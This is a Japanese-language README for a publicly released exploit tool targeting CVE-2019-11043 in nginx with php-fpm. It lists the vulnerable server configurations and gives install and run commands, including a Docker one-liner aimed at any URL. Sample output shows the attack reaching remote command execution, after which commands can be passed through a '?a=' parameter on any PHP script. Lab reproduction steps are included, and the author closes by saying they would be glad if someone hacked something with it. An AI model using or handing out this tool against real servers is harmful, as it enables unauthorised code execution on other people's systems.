
CVE-2019-11043 用エクスプロイト
これは php-fpm のバグ(CVE-2019-11043)を利用するエクスプロイトです。特定の nginx + php-fpm 構成では、このバグを外部からトリガーできます。つまり、脆弱な構成(下記参照)の場合、ウェブユーザーがコード実行を取得する可能性があります。
私たちはWriteupを書くのが面倒だったのですが、Orange Tsai 氏が彼のブログで完璧な分析を公開しました。彼に敬意を表します。
また、ZeroNights 2019 での私のスライドも入手可能です。
ウェブサーバーが nginx + php-fpm を実行しており、nginx が次のような設定の場合、
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
さらに、スクリプトの存在チェック(try_files など)が欠けている場合、このスプロイトでおそらくハッキングできます。
location ~ [^/]\.php(/|$) が php-fpm に転送されている必要があります(正規表現はより厳しくてもよいかもしれません。#1 を参照)。fastcgi_param PATH_INFO $fastcgi_path_info; による PATH_INFO 変数の代入が存在する必要があります。また、SCRIPT_FILENAME は fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; を使用して設定されている必要があります($document_root の代わりに定数パスがあるかもしれません)。最初は、これらが常に fastcgi_params ファイルに存在すると思っていましたが、実際は違います。PATH_INFO を空の値に設定する方法が必要です。このエクスプロイトは、fastcgi_split_path_info ディレクティブが存在し、^ で始まり $ で終わる正規表現を含むことを前提としているため、改行文字で正規表現を壊そうとします。PATH_INFO が REQUEST_URI の後に設定されていることを前提としています。try_files $uri =404 や if (-f $uri) のようなファイル存在チェックがないこと。Nginx が FastCGI 転送の前に存在しないスクリプトへのリクエストを破棄する場合、私たちのリクエストは php-fpm に到達しません。これを追加することは、パッチを適用する最も簡単な方法でもあります。ずっと昔、php-fpm はスクリプトの拡張子を制限していなかったため、/avatar.png/some-fake-shit.php のようなものが avatar.png を PHP スクリプトとして実行できました。この問題は2010年頃に修正されました。
現在の問題は、ファイルアップロードを必要とせず、最新バージョン(修正が適用されるまで)で動作し、そして最も重要なことに、エクスプロイトがはるかにクールです。
次のコマンドでインストールします。
go get github.com/neex/phuip-fpizdam
奇妙なコンパイルエラーが発生した場合は、go >= 1.13 を使用していることを確認してください。phuip-fpizdam [url] でプログラムを実行します($PATH 内に $GOPATH/bin がある場合はそのまま、ない場合はバイナリへの完全なパスを指定してください)。正常な出力は次のようになります:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
この後、すべての PHP スクリプトに ?a=<あなたのコマンド> を追加できるようになります(複数回のリトライが必要な場合があります)。
または、docker image を使用してエクスプロイトを実行することもできます:
docker run --rm ypereirareis/cve-2019-11043 [url]
この問題を再現したり、Docker を通じてローカルでエクスプロイトを試したりする場合は、次の手順を実行します:
reproducer ディレクトリに移動します。docker build -t reproduce-cve-2019-11043 . を使用して Docker イメージを作成します。内部で php リポジトリをクローンしてソースからビルドするため、時間がかかります。ただし、エクスプロイトをデバッグしたい場合はこの方法が簡単です。ビルドされるリビジョンは、修正の直前のものです。docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 を使用して Docker を実行します。phuip-fpizdam http://127.0.0.1:8080/script.php を使用してエクスプロイトを実行します。?a= をスクリプトに追加してコマンドを実行できます:http://127.0.0.1:8080/script.php?a=id。php-fpm ワーカーの一部しか感染しないため、複数回試してください。この問題を再現したり、LXD を通じてローカルでエクスプロイトを試したりする場合は、次の手順を実行します:
vulnerable と attacker の2つのシステムコンテナを作成します。両方のコンテナに ubuntu:18.04 コンテナイメージを使用できます。vulnerable コンテナに nginx と php-fpm をインストールします。サーバーブロックをこの設定のように構成します。空のファイル /var/www/html/index.php を作成します。attacker コンテナに Go 言語をインストールし(sudo snap install go --classic)、このリポジトリをクローンして、リポジトリのディレクトリで go build を実行します。./phuip-fpizdam http://vulnerable.lxd/index.php。すべての php-fpm ワーカーに感染させるために、複数回試してください。詳細な手順については、Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers を参照してください。
php-fpm のバッファアンダーフローは PHP バージョン 5 にも存在します。ただし、このエクスプロイトは FastCGI 変数の保存に使用される最適化 _fcgi_data_seg を利用しています。この最適化は php 7 にのみ存在するため、この特定のエクスプロイトは php 7 でのみ動作します。php 5 で動作する別の悪用手法があるかもしれません。
当初の異常は、Real World CTF 中に d90pwn によって発見されました。根本的な原因は私(Emil Lerner)と、php.ini オプションを設定する方法を見つけた私によって発見されました。最終的な php.ini オプションのセットは beched によって見つけられました。
このエクスプロイトは MIT License の条件の下で配布されています。
このエクスプロイトで損害を与えることは控えてください。しかし、もし本当にこれで何かをハッキングしたなら、私は嬉しいです。